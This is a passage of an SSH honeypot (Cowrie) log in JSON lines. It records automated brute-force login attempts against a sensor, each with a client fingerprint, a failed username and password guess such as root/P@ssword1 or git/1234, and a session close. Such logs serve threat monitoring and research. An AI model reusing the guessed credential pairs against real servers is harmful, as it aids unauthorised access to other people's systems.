{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:25.181893Z","src_ip":"192.109.200.78","session":"1a9e2f1c04cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:25.587723Z","src_ip":"192.109.200.78","session":"1a9e2f1c04cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:26.671197Z","src_ip":"192.109.200.78","session":"1a9e2f1c04cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40080,"dst_ip":"10.17.0.5","dst_port":22,"session":"98516d9155b9","protocol":"ssh","message":"New connection: 192.109.200.78:40080 (10.17.0.5:22) [session: 98516d9155b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:28.707621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:28.711881Z","src_ip":"192.109.200.78","session":"98516d9155b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:28.793188Z","src_ip":"192.109.200.78","session":"98516d9155b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:29.041697Z","src_ip":"192.109.200.78","session":"98516d9155b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:30.126535Z","src_ip":"192.109.200.78","session":"98516d9155b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47726,"dst_ip":"159.203.135.109","dst_port":22,"session":"2703caca71bd","protocol":"ssh","message":"New connection: 77.94.47.83:47726 (159.203.135.109:22) [session: 2703caca71bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:30.792475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:30.796578Z","src_ip":"77.94.47.83","session":"2703caca71bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:30.908205Z","src_ip":"77.94.47.83","session":"2703caca71bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09041988","message":"login attempt [root/09041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:31.242644Z","src_ip":"77.94.47.83","session":"2703caca71bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37322,"dst_ip":"10.17.0.5","dst_port":22,"session":"3244ff75a450","protocol":"ssh","message":"New connection: 192.109.200.78:37322 (10.17.0.5:22) [session: 3244ff75a450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:32.074865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:32.079125Z","src_ip":"192.109.200.78","session":"3244ff75a450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:32.161282Z","src_ip":"192.109.200.78","session":"3244ff75a450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:32.363571Z","src_ip":"77.94.47.83","session":"2703caca71bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:32.410240Z","src_ip":"192.109.200.78","session":"3244ff75a450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:33.494584Z","src_ip":"192.109.200.78","session":"3244ff75a450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37334,"dst_ip":"10.17.0.5","dst_port":22,"session":"334d128b72f0","protocol":"ssh","message":"New connection: 192.109.200.78:37334 (10.17.0.5:22) [session: 334d128b72f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:35.418297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:35.495936Z","src_ip":"192.109.200.78","session":"334d128b72f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:35.715338Z","src_ip":"192.109.200.78","session":"334d128b72f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:35.963716Z","src_ip":"192.109.200.78","session":"334d128b72f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:37.052242Z","src_ip":"192.109.200.78","session":"334d128b72f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37350,"dst_ip":"10.17.0.5","dst_port":22,"session":"63d9583c25d1","protocol":"ssh","message":"New connection: 192.109.200.78:37350 (10.17.0.5:22) [session: 63d9583c25d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:39.184933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:39.189026Z","src_ip":"192.109.200.78","session":"63d9583c25d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:39.270534Z","src_ip":"192.109.200.78","session":"63d9583c25d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:39.517871Z","src_ip":"192.109.200.78","session":"63d9583c25d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:40.602881Z","src_ip":"192.109.200.78","session":"63d9583c25d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36884,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ed48d31a99","protocol":"ssh","message":"New connection: 192.109.200.78:36884 (10.17.0.5:22) [session: 94ed48d31a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:42.945852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:42.951239Z","src_ip":"192.109.200.78","session":"94ed48d31a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:43.027339Z","src_ip":"192.109.200.78","session":"94ed48d31a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:43.479917Z","src_ip":"192.109.200.78","session":"94ed48d31a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:44.567365Z","src_ip":"192.109.200.78","session":"94ed48d31a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36904,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bee3412b34e","protocol":"ssh","message":"New connection: 192.109.200.78:36904 (10.17.0.5:22) [session: 6bee3412b34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:46.712485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:46.716055Z","src_ip":"192.109.200.78","session":"6bee3412b34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:46.798577Z","src_ip":"192.109.200.78","session":"6bee3412b34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:47.041849Z","src_ip":"192.109.200.78","session":"6bee3412b34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:48.125639Z","src_ip":"192.109.200.78","session":"6bee3412b34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1728ffadb971","protocol":"ssh","message":"New connection: 192.109.200.78:36934 (10.17.0.5:22) [session: 1728ffadb971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:50.405557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:48:50.408364Z","src_ip":"192.109.200.78","session":"1728ffadb971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 